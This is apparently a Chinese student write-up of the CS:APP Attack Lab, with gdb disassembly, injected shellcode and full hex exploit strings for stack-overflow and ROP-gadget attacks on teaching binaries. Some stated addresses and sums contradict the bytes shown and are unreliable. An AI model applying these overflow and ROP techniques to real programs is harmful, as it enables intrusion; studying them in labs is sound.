閱讀實驗手冊,開始做Attacklab.
CTARGET Phase 1
第一個Attack Phase要求調用存在的函數touch1.這個簡單,自需要將touch1的首地址覆蓋棧中的返回地址就行。
首先使用gdb調試ctarget,反彙編出getbuf的彙編代碼:
可以發現這裏分配了0x28(十進制是40)Bytes的棧幀。由於棧是低地址方向增長的,所以只要在%rsp+40的位置存入touch1的起始地址就好。通過反彙編touch1的代碼,不難發現touch1的起始地址是0x4017c0:
所以構造字符串,前40個字節隨意(但是不能取0A,因爲0A是換行符,ctarget程序根據換行符判定輸入結束),然後後面跟上0x4017c0(注意此時要轉換爲小端法表示):
保存爲phase1.txt。
輸入命令判題:
Phase1通過。
Phase 2
Phase2要求注入一小段代碼,帶參數調用touch2(unsigned)函數。
首先在實驗手冊裏看到touch2需要判斷一下你的cookie:
這個cookie是程序生成的一個隨機數,在啓動ctarget程序時有顯示。
反彙編touch2函數,發現touch2函數的首地址是0x4017ec:
準備將代碼注入到getbuf的棧幀裏,實驗手冊已經說了ctarget的棧地址是固定的,這就方便了注入代碼。在gdb調試下發現棧幀地址是0x5561dc78:
先羅列一下已有的信息:
Stack Address:0x5561dc78
function touch2 address:0x00000000004017ec
Cookie:0x59b997fa
然後開始寫注入的代碼。寫的這段代碼的目的是爲了帶參調用touch2.
fun2:
movl $0x59b997fa,%edi
pushq $0x4017ec
ret
彙編出目標文件,再使用objdump -d反彙編到phase2.txt:
phase2.o: file format elf64-x86-64
Disassembly of section .text:
0000000000000000 <fun2>:
0: bf fa 97 b9 59 mov $0x59b997fa,%edi
5: 68 ec 17 40 00 pushq $0x4017ec
a: c3 retq
保留二進制部分,補全40個字節,然後在後面附加上返回到棧幀的地址,
得到文件phase2.txt:
bf fa 97 b9 59 /* movl $0x59b997fa,%edi */
68 ec 17 40 00 /* movq $0x4017ec,(%rsp) */
c3 /* retq */
ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef
78 dc 61 55 00 00 00 00
輸入命令判題:
PS:其實將注入程序寫成這樣也是可以的:
fun2:
movl $0x59b997fa,%edi
subq $8,%rsp
movq $0x4017ec,(%rsp)
ret
CTARGET Phase 3
首先閱讀handout文檔。文檔上強調了getbuf所分配的棧幀可能會被hexmatch函數和strncmp函數覆蓋。所以我們選擇getbuf的父棧幀,即test函數的棧幀來存放我們的字符串。反正我們又不會返回到test函數,程序在touch3函數體裏就終止執行了。
我們首先由上題確定了棧幀地址爲0x5561dc78,反彙編touch3函數發現touch3函數起始地址爲0x4018fa,由於我們決定將字符串存放在父棧幀裏,因此字符串距離我們的棧幀的起始地址有40字節的距離(由上題知道函數getbuf分配了40字節的棧幀)於是字符串的起始地址是0x5561dc78+40Bytes=0x5561dc97。
於是我們來編寫注入代碼:
movq $0x5561dc97,%rdi
pushq $0x4018fa
retq
將其彙編後,在代碼和返回地址之間填充進27Bytes的佔位符,在最後填上字符串的ASCII串:
48 c7 c7 a8 dc 61 55 /* movq $0x5561dc97,%rdi */
68 fa 18 40 00 /* pushq $0x4018fa */
c3 /* retq */
ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef /* useless bytes.total 27 bytes */
78 dc 61 55 00 00 00 00 /* Start of code area */
35 39 62 39 39 37 66 61 00 /* little endian representation of string '59b997fa' , this string will fill in function test`s stack frame */
運行程序測試,通過。
RTARGET Phase 2
RTARGET Phase 2 要求從已有的代碼裏面找到攻擊所需的代碼組成gadget來重複前面的CTARGET Phase 2實驗。
首先在gdb ./rtarget
裏鍵入命令disas /r start_farm, mid_farm
查看位於start_farm和mid_farm之間的所有指令及其編碼:
由於上面的二進制並沒有編碼我所需的COOKIE值0x59b997fa,所以需要將這個值放入堆棧,再使用popq指令彈出並複製到%rdi寄存器。
觀察反編譯結果,需要找到一個popq指令和movq指令,因此需要分爲兩個Gadget,這兩個指令後面都要直接跟着0xc3(retq)返回指令或者中間有0x90(nop)指令。
先來找Gadget1。popq指令的編碼是0x58-0x5f,觀察上圖得知起始地址爲0x4019cc的編碼符合要求:
58 90 c3
這三個16進制分別編碼popq %rax、nop、retq三條指令。
再來找Gadget2。
movq指令的編碼都是0x48 0x89開頭的,因此很快鎖定到起始地址0x4017ec。這個地址下有4個16進制:48 89 c7 c3
,分別編碼
movq %rax,%rdi 、retq兩條指令,剛好符合要求。
大致畫一下堆棧分佈圖:
地址 | 空間作用 | 實際內容 |
---|---|---|
%rsp+32 | touch2函數起始地址 | 0x4017ec |
%rsp+24 | Gadget2 起始地址 | 0x4019a2 |
%rsp+16 | COOKIE值 | 0x59b997fa |
%rsp+8 | Gadget1 起始地址 | 0x4019cc |
因此構造攻擊文本如下:
ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef
ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef
ef ef ef ef ef ef ef ef
cc 19 40 00 00 00 00 00 fa 97 b9 59 00 00 00 00
a2 19 40 00 00 00 00 00 ec 17 40 00 00 00 00 00
運行程序,順利通過:
RTARGET Phase 3
本題跟RTARGET Phase2差不多,同樣是要求用已有的代碼組合起來,實現CTARGET Phase 3的功能。
首先反彙編出start_farm到end_farm的所有指令,然後根據實驗手冊上的圖(如下圖)標註出所有可能的指令:
<start_farm+0>: b8 01 00 00 00 mov $0x1,%eax
0x0000000000401999 <start_farm+5>: c3 retq
0x000000000040199a <getval_142+0>: b8 fb 78 90 90 mov $0x909078fb,%eax
0x000000000040199f <getval_142+5>: c3 retq
0x00000000004019a0 <addval_273+0>: 8d 87 48 89 c7 c3 lea -0x3c3876b8(%rdi),%eax
0x00000000004019a6 <addval_273+6>: c3 retq
0x00000000004019a7 <addval_219+0>: 8d 87 51 73 58 90 lea -0x6fa78caf(%rdi),%eax //58 90 c3 表示popq %rax;nop;ret
0x00000000004019ad <addval_219+6>: c3 retq
0x00000000004019ae <setval_237+0>: c7 07 48 89 c7 c7 movl $0xc7c78948,(%rdi)
0x00000000004019b4 <setval_237+6>: c3 retq
0x00000000004019b5 <setval_424+0>: c7 07 54 c2 58 92 movl $0x9258c254,(%rdi)
0x00000000004019bb <setval_424+6>: c3 retq
0x00000000004019bc <setval_470+0>: c7 07 63 48 8d c7 movl $0xc78d4863,(%rdi)
0x00000000004019c2 <setval_470+6>: c3 retq
0x00000000004019c3 <setval_426+0>: c7 07 48 89 c7 90 movl $0x90c78948,(%rdi) //48 89 c7表示movq rdx,%rdi;89 c7表示movl edx,%edi;90表示nop
0x00000000004019c9 <setval_426+6>: c3 retq
0x00000000004019ca <getval_280+0>: b8 29 58 90 c3 mov $0xc3905829,%eax
0x00000000004019cf <getval_280+5>: c3 retq
0x00000000004019d0 <mid_farm+0>: b8 01 00 00 00 mov $0x1,%eax
0x00000000004019d5 <mid_farm+5>: c3 retq
0x00000000004019d6 <add_xy+0>: 48 8d 04 37 lea (%rdi,%rsi,1),%rax
0x00000000004019da <add_xy+4>: c3 retq
0x00000000004019db <getval_481+0>: b8 5c 89 c2 90 mov $0x90c2895c,%eax //89 c2 90表示movl %eax,%edx
0x00000000004019e0 <getval_481+5>: c3 retq
0x00000000004019e1 <setval_296+0>: c7 07 99 d1 90 90 movl $0x9090d199,(%rdi)
0x00000000004019e7 <setval_296+6>: c3 retq
0x00000000004019e8 <addval_113+0>: 8d 87 89 ce 78 c9 lea -0x36873177(%rdi),%eax
0x00000000004019ee <addval_113+6>: c3 retq
0x00000000004019ef <addval_490+0>: 8d 87 8d d1 20 db lea -0x24df2e73(%rdi),%eax
0x00000000004019f5 <addval_490+6>: c3 retq
0x00000000004019f6 <getval_226+0>: b8 89 d1 48 c0 mov $0xc048d189,%eax
0x00000000004019fb <getval_226+5>: c3 retq
0x00000000004019fc <setval_384+0>: c7 07 81 d1 84 c0 movl $0xc084d181,(%rdi)
0x0000000000401a02 <setval_384+6>: c3 retq
0x0000000000401a03 <addval_190+0>: 8d 87 41 48 89 e0 lea -0x1f76b7bf(%rdi),%eax //48 89 e0表示movq %rsp,%rax
0x0000000000401a09 <addval_190+6>: c3 retq
0x0000000000401a0a <setval_276+0>: c7 07 88 c2 08 c9 movl $0xc908c288,(%rdi)
0x0000000000401a10 <setval_276+6>: c3 retq
0x0000000000401a11 <addval_436+0>: 8d 87 89 ce 90 90 lea -0x6f6f3177(%rdi),%eax //89 ce 90 90表示movl %ecx,%esi;nop;nop
0x0000000000401a17 <addval_436+6>: c3 retq
0x0000000000401a18 <getval_345+0>: b8 48 89 e0 c1 mov $0xc1e08948,%eax
0x0000000000401a1d <getval_345+5>: c3 retq
0x0000000000401a1e <addval_479+0>: 8d 87 89 c2 00 c9 lea -0x36ff3d77(%rdi),%eax
0x0000000000401a24 <addval_479+6>: c3 retq
0x0000000000401a25 <addval_187+0>: 8d 87 89 ce 38 c0 lea -0x3fc73177(%rdi),%eax //89 ce 38 c0表示movl %ecx,%esi;cmpb %al,%al;注意此時cmpb對於程序沒有任何影響,在此相當於nop空操作。
0x0000000000401a2b <addval_187+6>: c3 retq
0x0000000000401a2c <setval_248+0>: c7 07 81 ce 08 db movl $0xdb08ce81,(%rdi)
0x0000000000401a32 <setval_248+6>: c3 retq
0x0000000000401a33 <getval_159+0>: b8 89 d1 38 c9 mov $0xc938d189,%eax //89 d1 38 c9表示movl %edx,%ecx;cmpb %cl,%cl(此時cmpb相當於nop)
0x0000000000401a38 <getval_159+5>: c3 retq
0x0000000000401a39 <addval_110+0>: 8d 87 c8 89 e0 c3 lea -0x3c1f7638(%rdi),%eax
0x0000000000401a3f <addval_110+6>: c3 retq
0x0000000000401a40 <addval_487+0>: 8d 87 89 c2 84 c0 lea -0x3f7b3d77(%rdi),%eax //89 c2 84 c0表示movl %eax,%edx;testb %al,%al ;注意此時testb對於程序沒有任何影響,在此相當於nop空操作。
0x0000000000401a46 <addval_487+6>: c3 retq
0x0000000000401a47 <addval_201+0>: 8d 87 48 89 e0 c7 lea -0x381f76b8(%rdi),%eax
0x0000000000401a4d <addval_201+6>: c3 retq
0x0000000000401a4e <getval_272+0>: b8 99 d1 08 d2 mov $0xd208d199,%eax
0x0000000000401a53 <getval_272+5>: c3 retq
0x0000000000401a54 <getval_155+0>: b8 89 c2 c4 c9 mov $0xc9c4c289,%eax
0x0000000000401a59 <getval_155+5>: c3 retq
0x0000000000401a5a <setval_299+0>: c7 07 48 89 e0 91 movl $0x91e08948,(%rdi)
0x0000000000401a60 <setval_299+6>: c3 retq
0x0000000000401a61 <addval_404+0>: 8d 87 89 ce 92 c3 lea -0x3c6d3177(%rdi),%eax
0x0000000000401a67 <addval_404+6>: c3 retq
0x0000000000401a68 <getval_311+0>: b8 89 d1 08 db mov $0xdb08d189,%eax
0x0000000000401a6d <getval_311+5>: c3 retq
0x0000000000401a6e <setval_167+0>: c7 07 89 d1 91 c3 movl $0xc391d189,(%rdi)
0x0000000000401a74 <setval_167+6>: c3 retq
0x0000000000401a75 <setval_328+0>: c7 07 81 c2 38 d2 movl $0xd238c281,(%rdi)
0x0000000000401a7b <setval_328+6>: c3 retq
0x0000000000401a7c <setval_450+0>: c7 07 09 ce 08 c9 movl $0xc908ce09,(%rdi)
0x0000000000401a82 <setval_450+6>: c3 retq
0x0000000000401a83 <addval_358+0>: 8d 87 08 89 e0 90 lea -0x6f1f76f8(%rdi),%eax
0x0000000000401a89 <addval_358+6>: c3 retq
0x0000000000401a8a <addval_124+0>: 8d 87 89 c2 c7 3c lea 0x3cc7c289(%rdi),%eax
0x0000000000401a90 <addval_124+6>: c3 retq
0x0000000000401a91 <getval_169+0>: b8 88 ce 20 c0 mov $0xc020ce88,%eax
0x0000000000401a96 <getval_169+5>: c3 retq
0x0000000000401a97 <setval_181+0>: c7 07 48 89 e0 c2 movl $0xc2e08948,(%rdi)
0x0000000000401a9d <setval_181+6>: c3 retq
0x0000000000401a9e <addval_184+0>: 8d 87 89 c2 60 d2 lea -0x2d9f3d77(%rdi),%eax
0x0000000000401aa4 <addval_184+6>: c3 retq
0x0000000000401aa5 <getval_472+0>: b8 8d ce 20 d2 mov $0xd220ce8d,%eax
0x0000000000401aaa <getval_472+5>: c3 retq
0x0000000000401aab <setval_350+0>: c7 07 48 89 e0 90 movl $0x90e08948,(%rdi)
0x0000000000401ab1 <setval_350+6>: c3 retq
然後就可以大致定下攻擊方案:將字符串放在棧裏,爲了能夠找到字符串的位置,需要將棧頂的位置取出來,加上棧內字符串位置的偏移,形成字符串地址,方案大致如下(A–>B 表示將A賦值給B)
%rsp–>%rax–>%rdi (獲取棧頂基址)
popq %rax;%eax–>%edx–>%ecx–>%esi (獲取字符串地址偏移)
%rdi+%rsi–>%rax–>%rdi (基址+偏移得到字符串地址並作爲參數傳遞)
棧的分佈如下:(地址空間向上增長)
類型 | 內容 |
---|---|
實際字符串 | 字符串內容 |
函數地址 | touch3函數起始地址 |
Gadget | %rax–>%rdi |
Gadget | %rdi+%rsi–>%rax |
Gadget | %ecx–>%esi |
Gadget | %edx–>%ecx |
Gadget | %eax–>%edx |
偏移值 | 字符串偏移值 |
Gadget | popq %rax |
Gadget | %rax–>%rdt |
Gadget | %rsp–>rax |
最後需要計算字符串偏移值。注意到執行第一個Gadget%rsp-->rax
時,rsp實際上指向第二個Gadget起始地址,所以字符串的偏移值應該是9x8Byte=72Byte,即十六進制值0x48。
構造攻擊字符串如下:(前40個ef是填充buf用,後面是棧內對應的內容(Gadget爲對應的地址)的倒序排列)
ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef
ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef
ef ef ef ef ef ef ef ef
06 1a 40 00 00 00 00 00
c5 19 40 00 00 00 00 00
ab 19 40 00 00 00 00 00
48 00 00 00 00 00 00 00
42 1a 40 00 00 00 00 00
34 1a 40 00 00 00 00 00
13 1a 40 00 00 00 00 00
d6 19 40 00 00 00 00 00
c5 19 40 00 00 00 00 00
fa 18 40 00 00 00 00 00
35 39 62 39 39 37 66 61 00
只用了8個Gadget,完美。
運行程序,通過測試: